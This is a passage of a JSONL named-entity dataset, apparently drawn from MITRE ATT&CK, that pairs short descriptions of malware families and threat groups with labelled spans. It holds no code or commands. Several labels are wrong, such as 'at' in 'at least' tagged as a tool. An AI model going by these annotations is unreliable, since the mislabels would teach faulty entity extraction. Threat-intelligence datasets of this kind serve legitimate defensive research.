Cedar.", "spans": {"MALWARE: Caterpillar WebShell": [[0, 20]], "THREAT_ACTOR: Volatile Cedar": [[77, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0572"}} {"text": "Netwalker is fileless ransomware written in PowerShell and executed directly in memory.", "spans": {"MALWARE: Netwalker": [[0, 9]], "TOOL: PowerShell": [[44, 54]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0457"}} {"text": "Elise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of tools referred to as LStudio, ST Group, and APT0LSTU.", "spans": {"MALWARE: Elise": [[0, 5]], "THREAT_ACTOR: Lotus Blossom": [[73, 86]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0081"}} {"text": "USBferry is an information stealing malware and has been used by Tropic Trooper in targeted attacks against Taiwanese and Philippine air-gapped military environments. USBferry shares an overlapping codebase with YAHOYAH, though it has several features which makes it a distinct piece of malware.", "spans": {"MALWARE: USBferry": [[0, 8], [167, 175]], "THREAT_ACTOR: Tropic Trooper": [[65, 79]], "MALWARE: YAHOYAH": [[212, 219]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0452"}} {"text": "WannaCry is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.", "spans": {"MALWARE: WannaCry": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0366"}} {"text": "Gazer is a backdoor used by Turla since at least 2016.", "spans": {"MALWARE: Gazer": [[0, 5]], "THREAT_ACTOR: Turla": [[28, 33]], "TOOL: at": [[40, 42]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0168"}} {"text": "TSCookie is a remote access tool (RAT) that has been used by BlackTech in campaigns against Japanese targets.. TSCookie has been referred to as PLEAD though more recent reporting indicates a separation between the two.", "spans": {"MALWARE: TSCookie": [[0, 8], [111, 119]], "THREAT_ACTOR: BlackTech": [[61, 70]], "MALWARE: PLEAD": [[144, 149]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0436"}} {"text": "Latrodectus is a Windows malware downloader that has been used since at least 2023 to download and execute additional payloads and modules. Latrodectus has most often been distributed through email campaigns, primarily by TA577 and TA578, and has infrastructure overlaps with historic IcedID operations.", "spans": {"MALWARE: Latrodectus": [[0, 11], [140, 151]], "SYSTEM: Windows": [[17, 24]], "TOOL: at": [[69, 71]], "THREAT_ACTOR: TA577": [[222, 227]], "THREAT_ACTOR: TA578": [[232, 237]], "MALWARE: IcedID": [[285, 291]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1160"}} {"text": "Saint Bot is a .NET downloader that has been used by Saint Bear since at least March 2021.", "spans": {"MALWARE: Saint Bot": [[0, 9]], "SYSTEM: .NET": [[15, 19]], "THREAT_ACTOR: Saint Bear": [[53, 63]], "TOOL: at": [[70, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1018"}} {"text": "Pay2Key is a ransomware written in C++ that has been used by Fox Kitten since at least July 2020 including campaigns against Israeli companies. Pay2Key has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.", "spans": {"MALWARE: Pay2Key": [[0, 7], [144, 151]], "THREAT_ACTOR: Fox Kitten": [[61, 71]], "TOOL: at": [[78, 80]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0556"}} {"text": "Chaes is a multistage information stealer written in several programming languages that collects login credentials, credit card numbers, and other financial information. Chaes was first observed in 2020, and appears to primarily target victims in Brazil as well as other e-commerce customers in Latin America.", "spans": {"MALWARE: Chaes": [[0, 5], [170, 175]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0631"}} {"text": "Briba is a trojan used by Elderwood to open a backdoor and download files on to compromised hosts.", "spans": {"MALWARE: Briba": [[0, 5]], "THREAT_ACTOR: Elderwood": [[26, 35]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0204"}} {"text": "CharmPower is a PowerShell-based, modular backdoor that has been used by Magic Hound since at least 2022.", "spans": {"MALWARE: CharmPower": [[0, 10]], "TOOL: PowerShell": [[16, 26]], "THREAT_ACTOR: Magic Hound": [[73, 84]], "TOOL: at": [[91, 93]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0674"}} {"text": "TYPEFRAME is a remote access tool that has been used by Lazarus Group.", "spans": {"MALWARE: TYPEFRAME": [[0, 9]], "THREAT_ACTOR: Lazarus Group": [[56, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0263"}} {"text": "3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda.", "spans": {"MALWARE: 3PARA RAT": [[0, 9]], "THREAT_ACTOR: Putter Panda": [[80, 92]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0066"}} {"text": "Bundlore is adware written for macOS that has been in use since at least 2015. Though categorized as adware, Bundlore has many features associated with more traditional backdoors.", "spans": {"MALWARE: Bundlore": [[0, 8], [109, 117]], "SYSTEM: macOS": [[31, 36]], "TOOL: at": [[64, 66]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0482"}} {"text": "P8RAT is a fileless malware used by menuPass to download and execute payloads since at least 2020.", "spans": {"MALWARE: P8RAT": [[0, 5]], "THREAT_ACTOR: menuPass": [[36, 44]], "TOOL: at": [[84, 86]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0626"}} {"text": "VIRTUALPIE is a lightweight backdoor written in Python that spawns an IPv6 listener on a VMware ESXi server and features command line execution, file transfer, and reverse shell capabilities. VIRTUALPIE has been in use since at least 2022 including by UNC3886 who installed it via malicious vSphere Installation Bundles (VIBs).", "spans": {"MALWARE: VIRTUALPIE": [[0, 10], [193, 203]], "SYSTEM: Python": [[48, 54]], "SYSTEM: VMware": [[89, 95]], "TOOL: at": [[226, 228]], "THREAT_ACTOR: UNC3886": [[253, 260]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1218"}} {"text": "EVILNUM is fully capable backdoor that was first identified in 2018. EVILNUM is used by the APT group Evilnum which has the same name.", "spans": {"MALWARE: EVILNUM": [[0, 7], [69, 76]], "THREAT_ACTOR: Evilnum": [[102, 109]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0568"}} {"text": "KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management.", "spans": {"MALWARE: KOMPROGO": [[0, 8]], "THREAT_ACTOR: APT32": [[41, 46]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0156"}} {"text": "SMOKEDHAM is a Powershell-based .NET backdoor that was first reported in May 2021; it has been used by at least one ransomware-as-a-service affiliate.", "spans": {"MALWARE: SMOKEDHAM": [[0, 9]], "SYSTEM: .NET": [[32, 36]], "TOOL: at": [[103, 105]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0649"}} {"text": "Mori is a backdoor that has been used by MuddyWater since at least January 2022.", "spans": {"MALWARE: Mori": [[0, 4]], "THREAT_ACTOR: MuddyWater": [[41, 51]], "TOOL: at": [[58, 60]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1047"}} {"text": "QUADAGENT is a PowerShell backdoor used by OilRig.", "spans": {"MALWARE: QUADAGENT": [[0, 9]], "TOOL: PowerShell": [[15, 25]], "THREAT_ACTOR: OilRig": [[43, 49]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0269"}} {"text": "Sagerunex is a malware family exclusively associated with Lotus Blossom operations, with variants existing since at least 2016. Variations of Sagerunex leverage non-traditional command and control mechanisms such as various web services.", "spans": {"MALWARE: Sagerunex": [[0, 9], [142, 151]], "THREAT_ACTOR: Lotus Blossom": [[58, 71]], "TOOL: at": [[113, 115]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1210"}} {"text": "TAINTEDSCRIBE is a fully-featured beaconing implant integrated with command modules used by Lazarus Group. It was first reported in May 2020.", "spans": {"MALWARE: TAINTEDSCRIBE": [[0, 13]], "THREAT_ACTOR: Lazarus Group": [[92, 105]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0586"}} {"text": "Sys10 is a backdoor that was used throughout 2013 by Naikon.", "spans": {"MALWARE: Sys10": [[0, 5]], "THREAT_ACTOR: Naikon": [[53, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0060"}} {"text": "pngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility.", "spans": {"MALWARE: pngdowner": [[0, 9]], "THREAT_ACTOR: Putter Panda": [[29, 41]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0067"}} {"text": "Royal is ransomware that first appeared in early 2022; a version that also targets ESXi servers was later observed in February 2023. Royal employs partial encryption and multiple threads to evade detection and speed encryption. Royal has been used in attacks against multiple industries worldwide--including critical infrastructure. Security researchers have identified similarities in the encryption routines and TTPs used in Royal and Conti attacks and noted a possible connection between their operators.", "spans": {"MALWARE: Royal": [[0, 5], [134, 139], [229, 234], [428, 433]], "MALWARE: Conti": [[438, 443]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1073"}} {"text": "BendyBear is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, BendyBear shares a variety of features with Waterbear, malware previously attributed to the Chinese cyber espionage group BlackTech.", "spans": {"MALWARE: BendyBear": [[0, 9], [135, 144]], "MALWARE: Waterbear": [[179, 188]], "THREAT_ACTOR: BlackTech": [[257, 266]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0574"}} {"text": "Uroburos is a sophisticated cyber espionage tool written in C that has been used by units within Russia's Federal Security Service (FSB) associated with the Turla toolset to collect intelligence on sensitive targets worldwide. Uroburos has several variants and has undergone nearly constant upgrade since its initial development in 2003 to keep it viable after public disclosures. Uroburos is typically deployed to external-facing nodes on a targeted network and has the ability to leverage additional tools and TTPs to further exploit an internal network. Uroburos has interoperable implants for Windows, Linux, and macOS, employs a high level of stealth in communications and architecture, and can easily incorporate new or replacement components.", "spans": {"MALWARE: Uroburos": [[0, 8], [227, 235], [381, 389], [557, 565]], "ORGANIZATION: FSB": [[132, 135]], "THREAT_ACTOR: Turla": [[157, 162]], "SYSTEM: Windows": [[597, 604]], "SYSTEM: Linux": [[606, 611]], "SYSTEM: macOS": [[617, 622]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0022"}} {"text": "Metamorfo is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico.", "spans": {"MALWARE: Metamorfo": [[0, 9]], "TOOL: at": [[113, 115]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0455"}} {"text": "Spica is a custom backdoor written in Rust that has been used by Star Blizzard since at least 2023.", "spans": {"MALWARE: Spica": [[0, 5]], "THREAT_ACTOR: Star Blizzard": [[65, 78]], "TOOL: at": [[85, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1140"}} {"text": "Embargo is a ransomware variant written in Rust that has been active since at least May 2024. Embargo ransomware operations are associated with “double extortion” ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid. Embargo ransomware has been known to be delivered through a loader known as MDeployer which also leverages a malware component known as MS4Killer that facilitates termination of processes operating on the victim hosts. Embargo is also reportedly a Ransomware as a Service (RaaS).", "spans": {"MALWARE: Embargo": [[0, 7], [95, 102], [313, 320], [532, 539]], "TOOL: at": [[75, 77]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1247"}} {"text": "Trojan.Karagany is a modular remote access tool used for recon and linked to Dragonfly. The source code for Trojan.Karagany originated from Dream Loader malware which was leaked in 2010 and sold on underground forums.", "spans": {"MALWARE: Trojan.Karagany": [[0, 15], [108, 123]], "THREAT_ACTOR: Dragonfly": [[77, 86]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0094"}} {"text": "Bandook is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. Bandook has been used by Dark Caracal, as well as in a separate campaign referred to as \"Operation Manul\".", "spans": {"MALWARE: Bandook": [[0, 7], [274, 281]], "TOOL: at": [[98, 100]], "THREAT_ACTOR: Dark Caracal": [[299, 311]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0234"}} {"text": "PipeMon is a multi-stage modular backdoor used by Winnti Group.", "spans": {"MALWARE: PipeMon": [[0, 7]], "THREAT_ACTOR: Winnti Group": [[50, 62]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0501"}} {"text": "SYNful Knock is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.", "spans": {"MALWARE: SYNful Knock": [[0, 12]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0519"}} {"text": "MagicRAT is a remote access tool developed in C++ and exclusively used by the Lazarus Group threat actor in operations. MagicRAT allows for arbitrary command execution on victim machines and provides basic remote access functionality.", "spans": {"MALWARE: MagicRAT": [[0, 8], [120, 128]], "THREAT_ACTOR: Lazarus Group": [[78, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1182"}} {"text": "TINYTYPHON is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm.", "spans": {"MALWARE: TINYTYPHON": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0131"}} {"text": "KONNI is a remote access tool that security researchers assess has been used by North Korean cyber actors since at least 2014. KONNI has significant code overlap with the NOKKI malware family, and has been linked to several suspected North Korean campaigns targeting political organizations in Russia, East Asia, Europe and the Middle East; there is some evidence potentially linking KONNI to APT37.", "spans": {"MALWARE: KONNI": [[0, 5], [127, 132], [384, 389]], "TOOL: at": [[112, 114]], "MALWARE: NOKKI": [[171, 176]], "THREAT_ACTOR: APT37": [[393, 398]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0356"}} {"text": "T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations.", "spans": {"MALWARE: T9000": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0098"}} {"text": "Winnti for Linux is a trojan, seen since at least 2015, designed specifically for targeting Linux systems. Reporting indicates the winnti malware family is shared across a number of actors including Winnti Group. The Windows variant is tracked separately under Winnti for Windows.", "spans": {"MALWARE: Winnti for Linux": [[0, 16]], "TOOL: at": [[41, 43]], "SYSTEM: Linux": [[92, 97]], "THREAT_ACTOR: Winnti Group": [[199, 211]], "SYSTEM: Windows": [[217, 224]], "MALWARE: Winnti for Windows": [[261, 279]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0430"}} {"text": "RAPIDPULSE is a web shell that exists as a modification to a legitimate Pulse Secure file that has been used by APT5 since at least 2021.", "spans": {"MALWARE: RAPIDPULSE": [[0, 10]], "THREAT_ACTOR: APT5": [[112, 116]], "TOOL: at": [[123, 125]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1113"}} {"text": "gh0st RAT is a remote access tool (RAT). The source code is public and it has been used by multiple groups.", "spans": {"MALWARE: gh0st RAT": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0032"}} {"text": "Shamoon is wiper malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. Shamoon has also been seen leveraging RawDisk and Filerase to carry out data wiping tasks. Analysis has linked Shamoon with Kwampirs based on multiple shared artifacts and coding patterns. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.", "spans": {"MALWARE: Shamoon": [[0, 7], [138, 145], [152, 159], [194, 201], [305, 312], [392, 399]], "MALWARE: RawDisk": [[232, 239]], "MALWARE: Kwampirs": [[318, 326]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0140"}} {"text": "Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. Functionality similar to Skeleton Key is included as a module in Mimikatz.", "spans": {"MALWARE: Skeleton Key": [[0, 12], [156, 168]], "TOOL: Mimikatz": [[196, 204]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0007"}} {"text": "DnsSystem is a .NET based DNS backdoor, which is a customized version of the open source tool DIG.net, that has been used by HEXANE since at least June 2022.", "spans": {"MALWARE: DnsSystem": [[0, 9]], "SYSTEM: .NET": [[15, 19]], "SYSTEM: DNS": [[26, 29]], "DOMAIN: DIG.net": [[94, 101]], "THREAT_ACTOR: HEXANE": [[125, 131]], "TOOL: at": [[138, 140]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1021"}} {"text": "MoleNet is a downloader tool with backdoor capabilities that has been observed in use since at least 2019.", "spans": {"MALWARE: MoleNet": [[0, 7]], "TOOL: at": [[92, 94]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0553"}} {"text": "CORALDECK is an exfiltration tool used by APT37.", "spans": {"MALWARE: CORALDECK": [[0, 9]], "THREAT_ACTOR: APT37": [[42, 47]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0212"}} {"text": "JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware.", "spans": {"MALWARE: JHUHUGIT": [[0, 8]], "THREAT_ACTOR: APT28": [[28, 33]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0044"}} {"text": "SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.", "spans": {"MALWARE: SPACESHIP": [[0, 9]], "THREAT_ACTOR: APT30": [[34, 39], [113, 118]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0035"}} {"text": "BLUELIGHT is a remote access Trojan used by APT37 that was first observed in early 2021.", "spans": {"MALWARE: BLUELIGHT": [[0, 9]], "THREAT_ACTOR: APT37": [[44, 49]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0657"}} {"text": "KGH_SPY is a modular suite of tools used by Kimsuky for reconnaissance, information stealing, and backdoor capabilities. KGH_SPY derived its name from PDB paths and internal names found in samples containing \"KGH\".", "spans": {"MALWARE: KGH_SPY": [[0, 7], [121, 128]], "THREAT_ACTOR: Kimsuky": [[44, 51]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0526"}} {"text": "down_new is a downloader that has been used by BRONZE BUTLER since at least 2019.", "spans": {"MALWARE: down_new": [[0, 8]], "THREAT_ACTOR: BRONZE BUTLER": [[47, 60]], "TOOL: at": [[67, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0472"}} {"text": "Ixeshe is a malware family that has been used since at least 2009 against targets in East Asia.", "spans": {"MALWARE: Ixeshe": [[0, 6]], "TOOL: at": [[52, 54]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0015"}} {"text": "Micropsia is a remote access tool written in Delphi.", "spans": {"MALWARE: Micropsia": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0339"}} {"text": "Kerrdown is a custom downloader that has been used by APT32 since at least 2018 to install spyware from a server on the victim's network.", "spans": {"MALWARE: Kerrdown": [[0, 8]], "THREAT_ACTOR: APT32": [[54, 59]], "TOOL: at": [[66, 68]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0585"}} {"text": "RARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX.", "spans": {"MALWARE: RARSTONE": [[0, 8]], "THREAT_ACTOR: Naikon": [[32, 38]], "MALWARE: PlugX": [[86, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0055"}} {"text": "RedLine Stealer is an information-stealer malware variant first identified in 2020. RedLine Stealer is a Malware as a Service (MaaS) and was reportedly sold as either a one-time purchase or a monthly subscription service. Information obtained from RedLine Stealer has been known to be sold on the deep and dark web to Initial Access Brokers (IABs), who use or resell the stolen credentials for further intrusions.", "spans": {"MALWARE: RedLine Stealer": [[0, 15], [85, 100], [251, 266]], "SYSTEM: Access": [[329, 335]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1240"}} {"text": "VBShower is a backdoor that has been used by Inception since at least 2019. VBShower has been used as a downloader for second stage payloads, including PowerShower.", "spans": {"MALWARE: VBShower": [[0, 8], [76, 84]], "THREAT_ACTOR: Inception": [[45, 54]], "TOOL: at": [[61, 63]], "MALWARE: PowerShower": [[152, 163]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0442"}} {"text": "BPFDoor is a Linux based passive long-term backdoor used by China-based threat actors. First seen in 2021, BPFDoor is named after its usage of Berkley Packet Filter (BPF) to execute single task instructions. BPFDoor supports multiple protocols for communicating with a C2 including TCP, UDP, and ICMP and can start local or reverse shells that bypass firewalls using iptables.", "spans": {"MALWARE: BPFDoor": [[0, 7], [107, 114], [208, 215]], "SYSTEM: Linux": [[13, 18]], "TOOL: iptables": [[367, 375]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1161"}} {"text": "Black Basta is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. Black Basta operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. Black Basta affiliates have targeted multiple high-value organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the Black Basta RaaS operators could include current or former members of the Conti group.", "spans": {"MALWARE: Black Basta": [[0, 11], [202, 213], [462, 473], [702, 713]], "TOOL: at": [[117, 119]], "SYSTEM: Windows": [[169, 176]], "MALWARE: Conti": [[776, 781]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1070"}} {"text": "ZeroCleare is a wiper malware that has been used in conjunction with the RawDisk driver since at least 2019 by suspected Iran-nexus threat actors including activity targeting the energy and industrial sectors in the Middle East and political targets in Albania.", "spans": {"MALWARE: ZeroCleare": [[0, 10]], "MALWARE: RawDisk": [[73, 80]], "TOOL: at": [[94, 96]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1151"}} {"text": "Catchamas is a Windows Trojan that steals information from compromised systems.", "spans": {"MALWARE: Catchamas": [[0, 9]], "SYSTEM: Windows": [[15, 22]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0261"}} {"text": "StoneDrill is wiper malware discovered in destructive campaigns against both Middle Eastern and European targets in association with APT33.", "spans": {"MALWARE: StoneDrill": [[0, 10]], "THREAT_ACTOR: APT33": [[133, 138]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0380"}} {"text": "OopsIE is a Trojan used by OilRig to remotely execute commands as well as upload/download files to/from victims.", "spans": {"MALWARE: OopsIE": [[0, 6]], "THREAT_ACTOR: OilRig": [[27, 33]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0264"}} {"text": "4H RAT is malware that has been used by Putter Panda since at least 2007.", "spans": {"MALWARE: 4H RAT": [[0, 6]], "THREAT_ACTOR: Putter Panda": [[40, 52]], "TOOL: at": [[59, 61]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0065"}} {"text": "RogueRobin is a payload used by DarkHydrus that has been developed in PowerShell and C#.", "spans": {"MALWARE: RogueRobin": [[0, 10]], "THREAT_ACTOR: DarkHydrus": [[32, 42]], "TOOL: PowerShell": [[70, 80]], "SYSTEM: C#": [[85, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0270"}} {"text": "Attor is a Windows-based espionage platform that has been seen in use since 2013. Attor has a loadable plugin architecture to customize functionality for specific targets.", "spans": {"MALWARE: Attor": [[0, 5], [82, 87]], "SYSTEM: Windows": [[11, 18]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0438"}} {"text": "DealersChoice is a Flash exploitation framework used by APT28.", "spans": {"MALWARE: DealersChoice": [[0, 13]], "THREAT_ACTOR: APT28": [[56, 61]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0243"}} {"text": "SQLRat is malware that executes SQL scripts to avoid leaving traditional host artifacts. FIN7 has been observed using it.", "spans": {"MALWARE: SQLRat": [[0, 6]], "THREAT_ACTOR: FIN7": [[89, 93]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0390"}} {"text": "LitePower is a downloader and second stage malware that has been used by WIRTE since at least 2021.", "spans": {"MALWARE: LitePower": [[0, 9]], "THREAT_ACTOR: WIRTE": [[73, 78]], "TOOL: at": [[85, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0680"}} {"text": "MegaCortex is ransomware that first appeared in May 2019. MegaCortex has mainly targeted industrial organizations.", "spans": {"MALWARE: MegaCortex": [[0, 10], [59, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0576"}} {"text": "StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites.", "spans": {"MALWARE: StreamEx": [[0, 8]], "THREAT_ACTOR: Deep Panda": [[51, 61]], "TOOL: at": [[68, 70]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0142"}} {"text": "BoxCaon is a Windows backdoor that was used by IndigoZebra in a 2021 spearphishing campaign against Afghan government officials. BoxCaon's name stems from similarities shared with the malware family xCaon.", "spans": {"MALWARE: BoxCaon": [[0, 7], [129, 136]], "SYSTEM: Windows": [[13, 20]], "THREAT_ACTOR: IndigoZebra": [[47, 58]], "MALWARE: xCaon": [[199, 204]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0651"}} {"text": "NightClub is a modular implant written in C++ that has been used by MoustachedBouncer since at least 2014.", "spans": {"MALWARE: NightClub": [[0, 9]], "THREAT_ACTOR: MoustachedBouncer": [[68, 85]], "TOOL: at": [[92, 94]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1090"}} {"text": "Crutch is a backdoor designed for document theft that has been used by Turla since at least 2015.", "spans": {"MALWARE: Crutch": [[0, 6]], "THREAT_ACTOR: Turla": [[71, 76]], "TOOL: at": [[83, 85]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0538"}} {"text": "Akira _v2 is a Rust-based variant of Akira ransomware that has been in use since at least 2024. Akira _v2 is designed to target VMware ESXi servers and includes a new command-line argument set and other expanded capabilities.", "spans": {"MALWARE: Akira _v2": [[0, 9], [96, 105]], "MALWARE: Akira": [[37, 42]], "TOOL: at": [[81, 83]], "SYSTEM: VMware": [[128, 134]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1194"}} {"text": "SDBbot is a backdoor with installer and loader components that has been used by TA505 since at least 2019.", "spans": {"MALWARE: SDBbot": [[0, 6]], "THREAT_ACTOR: TA505": [[80, 85]], "TOOL: at": [[92, 94]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0461"}} {"text": "Mosquito is a Win32 backdoor that has been used by Turla. Mosquito is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program.", "spans": {"MALWARE: Mosquito": [[0, 8], [58, 66]], "THREAT_ACTOR: Turla": [[51, 56]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0256"}} {"text": "RTM is custom malware written in Delphi. It is used by the group of the same name (RTM). Newer versions of the malware have been reported publicly as Redaman.", "spans": {"MALWARE: RTM": [[0, 3], [83, 86]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0148"}} {"text": "QUIETCANARY is a backdoor tool written in .NET that has been used since at least 2022 to gather and exfiltrate data from victim networks.", "spans": {"MALWARE: QUIETCANARY": [[0, 11]], "SYSTEM: .NET": [[42, 46]], "TOOL: at": [[72, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1076"}} {"text": "Derusbi is malware used by multiple Chinese APT groups. Both Windows and Linux variants have been observed.", "spans": {"MALWARE: Derusbi": [[0, 7]], "SYSTEM: Windows": [[61, 68]], "SYSTEM: Linux": [[73, 78]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0021"}} {"text": "BlackByte Ransomware is uniquely associated with BlackByte operations. BlackByte Ransomware used a common key for infections, allowing for the creation of a universal decryptor. BlackByte Ransomware was replaced in BlackByte operations by BlackByte 2.0 Ransomware by 2023.", "spans": {"MALWARE: BlackByte Ransomware": [[0, 20], [71, 91], [178, 198]], "THREAT_ACTOR: BlackByte": [[49, 58], [215, 224]], "MALWARE: BlackByte 2.0 Ransomware": [[239, 263]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1180"}} {"text": "SodaMaster is a fileless malware used by menuPass to download and execute payloads since at least 2020.", "spans": {"MALWARE: SodaMaster": [[0, 10]], "THREAT_ACTOR: menuPass": [[41, 49]], "TOOL: at": [[89, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0627"}} {"text": "Hikit is malware that has been used by Axiom for late-stage persistence and exfiltration after the initial compromise.", "spans": {"MALWARE: Hikit": [[0, 5]], "THREAT_ACTOR: Axiom": [[39, 44]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0009"}} {"text": "StrelaStealer is an information stealer malware variant first identified in November 2022 and active through late 2024. StrelaStealer focuses on the automated identification, collection, and exfiltration of email credentials from email clients such as Outlook and Thunderbird.", "spans": {"MALWARE: StrelaStealer": [[0, 13], [120, 133]], "SYSTEM: Outlook": [[252, 259]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1183"}} {"text": "Grandoreiro is a banking trojan written in Delphi that was first observed in 2016 and uses a Malware-as-a-Service (MaaS) business model. Grandoreiro has confirmed victims in Brazil, Mexico, Portugal, and Spain.", "spans": {"MALWARE: Grandoreiro": [[0, 11], [137, 148]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0531"}} {"text": "WellMail is a lightweight malware written in Golang used by APT29, similar in design and structure to WellMess.", "spans": {"MALWARE: WellMail": [[0, 8]], "THREAT_ACTOR: APT29": [[60, 65]], "MALWARE: WellMess": [[102, 